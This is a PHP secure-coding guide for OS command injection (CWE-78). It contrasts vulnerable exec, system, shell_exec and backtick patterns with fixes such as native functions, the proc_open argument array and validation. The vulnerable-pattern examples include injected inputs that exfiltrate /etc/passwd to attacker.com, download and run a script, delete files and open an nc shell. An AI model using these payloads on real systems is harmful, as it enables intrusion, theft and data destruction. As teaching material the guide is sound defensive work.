CWE-78: OS Command Injection - PHP
Overview
OS Command Injection occurs when an application incorporates untrusted data into an operating system command without proper validation or sanitization. Attackers can execute arbitrary commands on the host operating system.
Primary Defence: Use PHP native functions (scandir, cURL, ZipArchive, etc.) instead of system commands. If process execution is unavoidable, use PHP 7.4+ proc_open() with the command and arguments passed as an array so PHP opens the process directly without a shell. On Windows, also set bypass_shell => true when using string commands to avoid cmd.exe.
Remediation Strategy
PRIMARY FIX - Avoid System Calls
Use PHP native functions instead of executing commands
- This eliminates the vulnerability entirely
- Do NOT use exec(), system(), shell_exec() if a PHP function exists
SECONDARY FIX - Use proc_open() with an Argument Array
Pass the command and arguments as an array
- WARNING: Only use if Priority 1 is not possible
- Requires PHP 7.4+ for array command syntax
- On Windows,
bypass_shell => trueis an additional hardening option for string commands
Defense in Depth - Input Validation
Allowlist permitted characters, use escapeshellarg() as additional layer
- Required in addition to Priority 1 or 2
- Never use validation or escaping alone
Additional Hardening - Least Privilege
Disable dangerous functions in php.ini, use restricted permissions
- Apply alongside other fixes
Decision Tree
Need to execute OS command?
├─ Is there a PHP function alternative? (scandir, cURL, ZipArchive, etc.)
│ ├─ YES → Use PHP function (Priority 1) - PREFERRED SOLUTION
│ └─ NO → Continue
│
├─ Can you use proc_open() with argument array?
│ ├─ YES → Use proc_open(['cmd', 'arg1', 'arg2'], ...) (Priority 2)
│ └─ NO → Use escapeshellarg() with exec() (Priority 2 - less preferred)
│
└─ For ALL solutions:
├─ Add input validation (Priority 3)
└─ Apply least privilege (Priority 4)
Common Vulnerable Patterns
String Concatenation with exec()
<?php
// VULNERABLE - Command injection via string concatenation
$filename = $_GET['file'];
exec('ls -la ' . $filename);
// Attack example:
// Input: "file.txt; rm -rf /tmp/*"
// Result: Deletes all files in /tmp
Why this is vulnerable: String concatenation with exec() allows attackers to inject shell metacharacters like ;, |, or && to chain commands, such as ; rm -rf / or | curl attacker.com -d @/etc/passwd, executing arbitrary system commands.
Using Shell with User Input
<?php
// VULNERABLE - Shell command injection
$userInput = $_POST['path'];
system("cat " . $userInput);
// Attack example:
// Input: "file.txt | curl attacker.com?data=$(cat /etc/passwd)"
// Result: Exfiltrates password file
Backticks (Shell Execution Operator)
<?php
// VULNERABLE - Backticks invoke shell
$ip = $_GET['ip'];
$output = `ping -c 4 $ip`;
// Attack example:
// Input: "8.8.8.8 && cat /etc/shadow > /tmp/pwned"
// Result: Executes additional commands
Why this is vulnerable: Backticks (`) are PHP's shell execution operator that invokes the system shell, allowing attackers to inject shell metacharacters like &&, ;, or | to execute multiple commands, such as 8.8.8.8 && rm -rf /, beyond the intended operation.
Unvalidated Input in shell_exec()
<?php
// VULNERABLE - No input validation
$userFile = $_REQUEST['filepath'];
$result = shell_exec("grep pattern " . $userFile);
// Attack example:
// Input: "data.txt; wget http://attacker.com/malware.sh -O /tmp/m.sh; bash /tmp/m.sh"
// Result: Downloads and executes malware
Why this is vulnerable: shell_exec() without input validation invokes the shell, allowing attackers to chain commands with ; or && to download and execute malware, create backdoors with nc -e /bin/bash, or exfiltrate data using curl or wget.
Secure Patterns
Use PHP Native Functions (PREFERRED - Eliminates Command Injection)
<?php
// SECURE - Use PHP directory functions instead of OS commands
$files = scandir('/uploads');
foreach ($files as $file) {
if ($file != '.' && $file != '..') {
$filepath = "/uploads/$file";
$stat = stat($filepath);
echo sprintf("%s %d %s\n",
$file,
$stat['size'],
date('Y-m-d H:i:s', $stat['mtime']));
}
}
// More file operations
$content = file_get_contents($filepath); // Instead of "cat"
copy($source, $dest); // Instead of "cp"
mkdir($path, 0755, true); // Instead of "mkdir -p"
unlink($filepath); // Instead of "rm"
Why this works: PHP's built-in file system functions operate directly on files through the PHP runtime without invoking shell commands. This completely eliminates command injection vulnerabilities - there's no OS process to execute, no shell to interpret metacharacters like ;, |, or &&, and no possibility of command chaining. These functions are also faster and more portable than system commands.
Use cURL for Network Operations
<?php
// SECURE - Use cURL instead of wget/curl commands
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => false, // Prevent redirects
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => true
]);
$content = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// For downloads
$ch = curl_init($url);
$fp = fopen('download.file', 'w+');
curl_setopt_array($ch, [
CURLOPT_FILE => $fp,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => true
]);
curl_exec($ch);
curl_close($ch);
fclose($fp);
Why this works: cURL performs network operations through PHP's libcurl extension without executing wget, curl, or other command-line utilities. By eliminating process execution entirely, there's no attack surface for command injection - malicious URLs or parameters cannot escape into shell commands because no shell is ever invoked. The security options (SSL verification, redirect control, timeouts) provide additional protection.
Use ZipArchive/PharData for Archives
<?php
// SECURE - Use ZipArchive instead of unzip/tar commands
$zip = new ZipArchive();
if ($zip->open($archive) === TRUE) {
// Safe extraction with validation
for ($i = 0; $i < $zip->numFiles; $i++) {
$filename = $zip->getNameIndex($i);
$normalized = str_replace('\\', '/', $filename);
// Prevent path traversal
if ($normalized === '' ||
$normalized[0] === '/' ||
preg_match('#(^|/)\.\.(/|$)#', $normalized)) {
throw new Exception("Unsafe archive member: $filename");
}
}
$zip->extractTo('./extracted');
$zip->close();
}
// For tar files - use PharData only with equivalent member validation.
// Do not extract untrusted tar archives until paths, links, file count,
// and extracted size have been checked.
$phar = new PharData($archive);
$phar->extractTo('./extracted', null, true);
Why this works: ZipArchive and PharData handle archive operations in PHP code without calling external tar, unzip, or 7z commands. Even if an attacker controls filenames within the archive, they cannot inject shell commands because no shell is invoked. The path traversal validation (.. and absolute path checks) prevents zip slip attacks, providing defense-in-depth. Apply equivalent member validation before extracting tar archives; avoiding command injection should not introduce unsafe archive extraction.
Use String Functions for Text Processing
<?php
// SECURE - Use PHP string/regex instead of grep/awk
$content = file_get_contents($filepath);
preg_match_all($pattern, $content, $matches);
// Line-by-line processing
$lines = file($filepath, FILE_IGNORE_NEW_LINES);
$matching = array_filter($lines, function($line) use ($searchTerm) {
return strpos($line, $searchTerm) !== false;
});
Why this works: PHP's regex (preg_match_all) and string functions (strpos, array_filter) provide powerful text processing capabilities without executing grep, sed, awk, or other shell utilities. Processing text in-memory through PHP prevents command injection while offering better performance, type safety, and cross-platform compatibility than shell-based text tools.
proc_open() with Argument Array (If Process Execution Required)
WARNING: Avoid executing OS commands if at all possible. PHP has extensive functions for almost everything (file_get_contents, cURL, ZipArchive, etc.). This pattern is ONLY for cases where no PHP function exists (e.g., calling a legacy third-party binary). Always exhaust all native alternatives first.
<?php
// USE WITH CAUTION - When process execution is unavoidable, use argument array
$ip = $_GET['ip'];
// Validate IP address
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
throw new InvalidArgumentException('Invalid IP address');
}
// Use proc_open with a PHP 7.4+ argument array.
$descriptorspec = [
0 => ["pipe", "r"], // stdin
1 => ["pipe", "w"], // stdout
2 => ["pipe", "w"] // stderr
];
// Arguments array - no shell execution
$process = proc_open(
['ping', '-c', '4', $ip], // Command and args as array
$descriptorspec,
$pipes,
null,
null
);
if (is_resource($process)) {
fclose($pipes[0]); // close stdin so the child cannot wait for more input
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
Why this works: Since PHP 7.4, passing proc_open() an argument array opens the process directly without going through a shell, and PHP handles the required argument escaping. Even if $ip contains shell metacharacters like ; or &&, they are treated as literal argument data rather than command separators. On Windows, the bypass_shell option is specifically documented for bypassing cmd.exe when commands are passed as strings; the safer cross-platform pattern is the array form above. Input validation still provides defense-in-depth and prevents malformed values from reaching the child process.
escapeshellarg() with exec() (Legacy - Less Preferred)
WARNING: shell escaping is platform-specific and less preferred than avoiding the shell. Use proc_open() with an argument array instead. Avoid exec() entirely if possible.
For older PHP versions or when proc_open is not available.
<?php
// RISKY - Use escapeshellarg() when proc_open not available
$filename = $_GET['file'];
// Validate filename
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $filename)) {
throw new InvalidArgumentException('Invalid filename');
}
// Use escapeshellarg() to escape the argument
$safe_filename = escapeshellarg($filename);
exec("ls -la /uploads/$safe_filename", $output, $return_var);
Why this works: escapeshellarg() quotes a single argument for use with shell execution functions. Combined with strict allowlist validation, it reduces command injection risk for legacy code that cannot avoid exec(). It is still less preferred than proc_open() with an argument array because array form avoids the shell entirely. On Windows, PHP's escaping behavior differs from Unix shells, so test platform-specific behavior before relying on shell escaping.
Input Validation (Defense in Depth)
Allowlist Validation
<?php
function validateFilename($filename) {
// Only allow alphanumeric, underscore, dash, dot
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $filename)) {
throw new InvalidArgumentException('Invalid filename');
}
return $filename;
}
function validateIPAddress($ip) {
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
throw new InvalidArgumentException('Invalid IP address');
}
return $ip;
}
function rejectDangerousChars($input) {
$dangerous = [';', '|', '&', '$', '>', '<', '`', "\n", '(', ')'];
foreach ($dangerous as $char) {
if (strpos($input, $char) !== false) {
throw new SecurityException('Invalid characters detected');
}
}
}
Laravel Validation
<?php
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
public function ping(Request $request) {
$validator = Validator::make($request->all(), [
'ip' => 'required|ip'
]);
if ($validator->fails()) {
return response()->json($validator->errors(), 400);
}
$ip = $request->input('ip');
// Safe to use with proc_open argument array
$process = proc_open(
['ping', '-c', '4', $ip],
$descriptorspec,
$pipes,
null,
null
);
// ...
}
Escaping Functions (Defense in Depth - Not Sufficient Alone)
escapeshellarg() - Escape Single Argument
<?php
// Escapes and quotes a string to be used as a shell argument
// Adds single quotes around the string and escapes any existing single quotes
$filename = escapeshellarg($_GET['file']);
exec("cat /logs/$filename"); // Argument is properly quoted
// Example: Input "file.txt" → Output 'file.txt'
// Example: Input "'; rm -rf /" → Output ''\'''\'''; rm -rf /'
// WARNING: IMPORTANT: Use with input validation as defense in depth
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $_GET['file'])) {
throw new InvalidArgumentException('Invalid filename');
}
$safe_file = escapeshellarg($_GET['file']);
exec("ls -la $safe_file");
escapeshellcmd() - Escape Entire Command String
<?php
// Escapes shell metacharacters in entire command string
// Escapes: #&;`|*?~<>^()[]{}$\, \x0A and \xFF
$cmd = escapeshellcmd("ls -la /uploads/{$_GET['dir']}");
exec($cmd);
// WARNING: escapeshellcmd() still allows additional arguments.
// Prefer proc_open() array form, or escapeshellarg() for individual legacy arguments.
WARNING: Don't Use Both Together
<?php
// WRONG - double escaping can cause issues:
$arg = escapeshellarg($_GET['file']);
$cmd = escapeshellcmd("cat $arg"); // Can still be vulnerable!
// CORRECT - use one or the other:
$arg = escapeshellarg($_GET['file']);
exec("cat $arg"); // Use escapeshellarg for arguments
// Avoid using escapeshellcmd() to make user-controlled command strings safe.
// It does not enforce the intended number or meaning of arguments.
Framework-Specific Guidance
Symfony Process Component (Recommended)
<?php
use Symfony\Component\Process\Process;
$ip = $_GET['ip'];
// Validate IP
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
throw new \InvalidArgumentException('Invalid IP');
}
// Use Symfony Process - automatically handles escaping
$process = new Process(['ping', '-c', '4', $ip]);
$process->setTimeout(10);
$process->run();
if ($process->isSuccessful()) {
echo $process->getOutput();
} else {
echo $process->getErrorOutput();
}
Dangerous Functions to Avoid
<?php
// NEVER USE THESE WITHOUT EXTREME CAUTION:
exec($cmd) // Execute command, return last line
system($cmd) // Execute and output result
shell_exec($cmd) // Execute via shell, return output
passthru($cmd) // Execute and pass raw output
`$cmd` // Backtick operator - same as shell_exec()
popen($cmd, 'r') // Open pipe to process
proc_open($cmd, ...) // OK only with argument array; string form invokes shell semantics
// SAFER ALTERNATIVES:
proc_open(['cmd', 'arg'], ...)
// Or avoid system commands entirely - use PHP functions
disable_functions Configuration
Consider disabling dangerous functions in php.ini:
; Disable dangerous functions in production
disable_functions = exec,passthru,shell_exec,system,popen
Remediation Steps
- Locate each command sink:
exec(),system(),shell_exec(), backticks,popen(),proc_open(), or framework wrappers around process execution. - Identify the operation being performed and replace the command with a PHP API when one exists, such as filesystem functions, cURL, ZipArchive, PharData, or string/regex functions.
- If process execution is unavoidable, pass the executable and arguments as an array with PHP 7.4+
proc_open()or Symfony Process instead of building a shell command string. - Validate each argument against its expected type before execution, such as
FILTER_VALIDATE_IPfor IP addresses or a strict allowlist for filenames. - Remove fallback paths that still call shell-based functions with concatenated input, even if the primary path was fixed.
- Add operational hardening such as least-privilege service accounts, timeouts, restricted working directories, and
disable_functionswhere compatible with the application.
Testing
- Test normal values for each command argument, including valid filenames, IP addresses, and paths expected by the feature.
- Test shell metacharacters such as
;,&&,|, backticks,$(), redirects, quotes, and newlines. - Test argument injection cases such as filenames beginning with
-or values that add extra command flags. - Test Windows and Unix behavior separately when the application runs on both platforms, because shell parsing and escaping differ.
- Confirm that rejected input returns a controlled validation error and that no child process runs for invalid data.
- Re-run static analysis and add regression tests around the process wrapper or service method that performs the command.
Common Pitfalls
- Replacing concatenation with
escapeshellcmd()and assuming the command is safe. It can still allow unintended arguments and does not enforce the intended command structure. - Escaping a full command string instead of passing separate arguments.
- Validating with a denylist of dangerous characters while still invoking a shell.
- Forgetting that backticks are shell execution in PHP.
- Treating
disable_functionsas the fix. It is hardening, not a replacement for removing vulnerable command construction. - Fixing Unix shell behavior but leaving Windows
cmd.exebehavior untested.
Dependencies and Installation
- PHP 7.4+ is required for the
proc_open()argument-array form that avoids shell invocation. - The Symfony Process component is available as
symfony/processand should be preferred over hand-built command strings when a framework-level wrapper is useful. - cURL, ZipArchive, and PharData require the corresponding PHP extensions to be installed and enabled.
- Keep PHP and process-related dependencies current, especially when relying on platform-specific process behavior.